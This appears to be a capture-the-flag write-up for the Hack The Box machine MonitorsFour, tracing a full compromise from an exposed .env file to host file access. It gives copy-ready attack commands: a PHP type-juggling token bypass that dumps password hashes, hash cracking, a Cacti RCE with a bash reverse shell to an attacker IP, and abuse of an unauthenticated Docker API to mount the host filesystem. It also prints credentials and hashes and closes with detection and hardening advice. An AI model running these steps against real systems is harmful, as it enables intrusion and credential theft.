MonitorsFour (HTB) — Full compromise chain

Recon API token bypass Cacti RCE Docker API Host pivot root flag

Author: p4r50n. This is a technical, extended document: it includes exact commands, outputs, container IDs, files used, technical reasoning and mitigation/detection recommendations. The final flag appears blurred by default.

Executive summary

MonitorsFour is a box with a chain of concatenated weaknesses: a weak token validation in the API allowed dumping users and password hashes; those hashes were cracked (password wonderful1 for user mwatson). Using those credentials we accessed a Cacti subdomain vulnerable to RCE and obtained a shell as www-data inside a web container. From there we discovered an internal Docker API (HTTP without TLS on port 2375 / internal IP 192.168.65.7) and created an arbitrary container that bind-mounted the Windows host filesystem, reading the Administrator's desktop root.txt.

Short chain: Recon → exposed .env and public endpoints → token bypass (PHP type-juggling) → dump users/hashes → hash cracking → valid credentials → Cacti login → PoC RCE → shell (www-data) → Docker API discovered → create container mounting / → read root.txt.

Scope / Objectives

1) Recon and discovery — relevant commands & outputs

1.1 Nmap quick scan

# nmap (example)
nmap -sC -sV -p- monitorsfour.htb

# relevant outputs (summary)
# 80/tcp  open  http    nginx
# ... (other ports)
# 5985/tcp WinRM (Windows host observed)

1.2 Web content discovery

# content fuzzing
ffuf -u http://monitorsfour.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302

# found: /.env (200) — immediate inspection recommended

1.3 Exposed .env

The /.env file was served via HTTP. It contained DB credentials and connection info:

curl http://monitorsfour.htb/.env

# example (extracted during the session)
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

If you find a publicly served .env: stop poking and start auditing exposure. It's the most direct and common failure leading to rapid compromise.

2) Token bypass — explanation and exploitation

The API validates a token parameter using a loose comparison (==) in PHP, not a strict check. In PHP values that look like scientific notation (e.g. 0e...) can collide with other values and yield unintended equals. Supplying a token like 0e1 caused the API to return the full JSON list of users.

# request used for bypass
curl "http://monitorsfour.htb/api/v1/users?token=0e1"

# Response (relevant fragment)
[
  {"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36",...},
  {"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169",...},
  {"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b",...}
]

Short technical note: use hash_equals(), HMACs, or signed JWTs. Never compare secrets with == in PHP.

3) Hash cracking — commands and results

I extracted the hashes returned by the API and performed dictionary attacks.

# example with hashcat (MD5 = mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Obtained result (example)
# mwatson -> wonderful1

Important credentials discovered:

UsernamePassword (plaintext)Source
mwatsonwonderful1cracked (API hashes)
monitorsdbuserf37p2j8f4t0r/.env

Note: in a real engagement report and do not exfiltrate real users' credentials.

4) Cacti subdomain — login and RCE

I discovered the monitoring subdomain cacti.monitorsfour.htb (gobuster + link inspection). I logged in with mwatson:wonderful1.

# Login: mwatson / wonderful1
# Cacti version was visible in footer / page
# Used a public PoC to run commands:
python3 cacti_poc.py -u "http://cacti.monitorsfour.htb" -c "id"

The PoC produced a reverse shell (listener: nc -lvnp 9001). The execution context was:

whoami
www-data

ls -la /var/www/html/cacti
# list of files...
cat /var/www/html/cacti/include/config.php
# extracted portion:
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_hostname = 'mariadb';

These credentials allow database enumeration and further lateral movement. The next step was container-side enumeration.

5) Enumeration from the compromised container

With shell as www-data I ran standard enumeration steps:

ip a
ip route
cat /proc/self/status | grep Cap
cat /proc/1/cgroup
# Identified docker gateway: 172.18.0.1
# Test reachability to common ports on the gateway:
for p in 22 80 443 3306 2375 8080 6379; do timeout 1 bash -c "echo >/dev/tcp/172.18.0.1/$p" 2>/dev/null && echo "OPEN $p"; done
# observed: OPEN 80, OPEN 3306

Later I discovered another reachable IP (192.168.65.7) with Docker API on port 2375 (no TLS).

# Verification (example)
curl http://192.168.65.7:2375/version
# returns daemon info. If it responds: API accessible without auth.

If you find Docker API on 2375 from a container: assume host-level privileges may be possible — document everything carefully (this is a lab environment).

6) Abusing the Docker API and pivoting to the host

Plan: ask the daemon to create & start a container that bind-mounts the host filesystem into the container at /mnt/host and run cat against Administrator's desktop root.txt (Windows host).

6.1 container.json (payload)

{
  "Image":"alpine:latest",
  "Cmd":["/bin/sh","-c","ls -la /mnt/host && cat /mnt/host/Users/Administrator/Desktop/root.txt"],
  "HostConfig":{"Binds":["/:/mnt/host"]},
  "Tty":true,
  "OpenStdin":true
}

6.2 Steps executed (from the compromised container)

# 1) Serve the payload from attacker machine
# On attacker:
cd /tmp && python3 -m http.server 8000

# 2) Download payload on the compromised host
curl http://10.10.14.36:8000/container.json -o /tmp/container.json

# 3) Create container via Docker API (no auth)
curl -s -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=pwned

# 4) Start the container:
curl -s -X POST http://192.168.65.7:2375/containers//start

# 5) Read container logs to collect stdout/stderr:
curl --output - "http://192.168.65.7:2375/containers//logs?stdout=1&stderr=1"

6.3 Real interaction examples (fragments observed during the session)

$ curl -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=test
{"Id":"e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee","Warnings":[]}

$ curl -X POST http://192.168.65.7:2375/containers/e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee/start

$ curl --output - "http://192.168.65.7:2375/containers/e30e48259cf1dd06360202d56a69e82abc28429545dd8ced5ce5aeaa21b091ee/logs?stdout=1&stderr=1"
# output: (content of the mounted filesystem appeared)
desktop.ini
root.txt

# another attempt where the command output included the flag:
START
478a4c4114a360731ea981b9228e7fb3
END

You will see directory listings and file contents in the container logs. In our tests, the temporary file /tmp/out.bin matched the flag content (verified with strings):

$ strings out.bin
478a4c4114a360731ea981b9228e7fb3

Final flag (hidden in this writeup): 478a4c4114a360731ea981b9228e7fb3

7) Operational notes & practical tricks used

8) Detection, recommendations and hardening (prioritized)

Immediate (CRITICAL)

Medium term

Detection (SIEM / EDR)

Suggested SIEM / IDS rules (examples)
# Suricata (conceptual)
alert http any any -> any 2375 (msg:"Docker API create container with Bind mount /"; content:"/containers/create"; content:"/:/"; nocase; sid:1000001; rev:1;)

# Splunk example
index=web_logs (uri="/api/v1/users" AND query="token=0e") | stats count by src_ip, useragent

# Osquery example
SELECT * FROM file WHERE path LIKE '/var/www/html/%.env' OR path LIKE '/var/www/%.env';

9) Artifacts and evidence (what I created / saved)

  1. container.json — payload used to pivot (mount host root).
  2. out.bin — temporary file in /tmp containing logs that included the flag (verified with strings).
  3. Observed container IDs (examples):
    • 0b2e7fdb9001a35f52076d855575abaa55658bdc...
    • e30e48259cf1dd06360202d56a69e82abc284295...
    • 2e98399f18db7f829bd6f0ca1c714147bab0c592...
    • 557a96c977f875929530e46a7b0ae2adc4ec83d0...
  4. DB dumps / SQL outputs — executed select username,password from user_auth; (raw output below).
  5. Cacti config.php — contains DB credentials: cactidbuser:7pyrf6ly8qx4 (extracted and saved to notes).

SQL output (user_auth) — as it appeared

MariaDB [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO |
| guest    | 43e9a4ab75570f5b                                             |
| marcus   | $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGe |
+----------+--------------------------------------------------------------+

All raw outputs are preserved as captured for reproducibility and auditability.

Appendix: copy-ready commands & reproducibility checklist

  1. Recon
    nmap -sC -sV -p- monitorsfour.htb
    ffuf -u http://monitorsfour.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
    curl http://monitorsfour.htb/.env
  2. Token bypass
    curl "http://monitorsfour.htb/api/v1/users?token=0e1"
  3. Crack
    hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
  4. PoC Cacti RCE
    python3 cacti_poc.py -u "http://cacti.monitorsfour.htb" -c "bash -i >/dev/tcp/10.10.14.29/9001 0>&1"
  5. Payload used to create persistent container (create_container.json)

    To abuse the Docker API we prepared a JSON payload that creates an alpine-based container and mounts the host filesystem at /mnt/host_root. This allows access to host files from inside the container.

    cat > create_container.json << 'EOF'
    {
      "Image": "alpine:latest",
      "Cmd": ["sleep", "infinity"],
      "HostConfig": {
        "Binds": ["/:/mnt/host_root"]
      },
      "Tty": true,
      "OpenStdin": true
    }
    EOF

    This container can then be used via the Docker API to run commands that list the host filesystem and read sensitive files like /Users/Administrator/Desktop/root.txt.

  6. Docker pivot
    # serve container.json from attacker:
    cd /tmp && python3 -m http.server 8000
    # on the box:
    curl http://10.10.14.36:8000/container.json -o /tmp/container.json
    curl -s -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=pwned
    curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start
    curl --output - "http://192.168.65.7:2375/containers/<ID>/logs?stdout=1&stderr=1"

Timeline & root-cause analysis

Chronological summary (key steps for reproducing the investigation):

  1. t=0 — Recon and discovery of /.env and exposed endpoints.
  2. t+minutes — Token bypass using 0e1 → dumped users and hashes.
  3. t+1h — Cracked hashes → valid credentials (mwatson).
  4. t+1h15 — Access to Cacti subdomain; vulnerable version identified; PoC RCE executed.
  5. t+1h30 — Shell as www-data; enumerated internal network and found Docker API at 192.168.65.7:2375.
  6. t+2h — Created container with bind-mount to / and read root.txt from logs.

Root cause (summary)

Indicators of Compromise (IOCs) and forensic artifacts

When collecting artifacts, preserve timestamps and Docker logs for correlation with SIEM/EDR evidence.

Conclusion

This machine shows a classic pattern: sensitive files in webroot + weak validation logic + infrastructure services exposed to containers. Those combined issues allowed an attacker to progress rapidly from a web-based discovery to host-level file access. Proper segmentation, secret handling, and secure token verification would have prevented the chain.

Quick mitigation summary: protect secrets, validate tokens strictly, disable remote Docker API or secure it, and segregate management/monitoring services.

Document versioning & changelog

This document was generated to be exhaustive and reproducible. The following notes track changes made to this writeup file for audit purposes.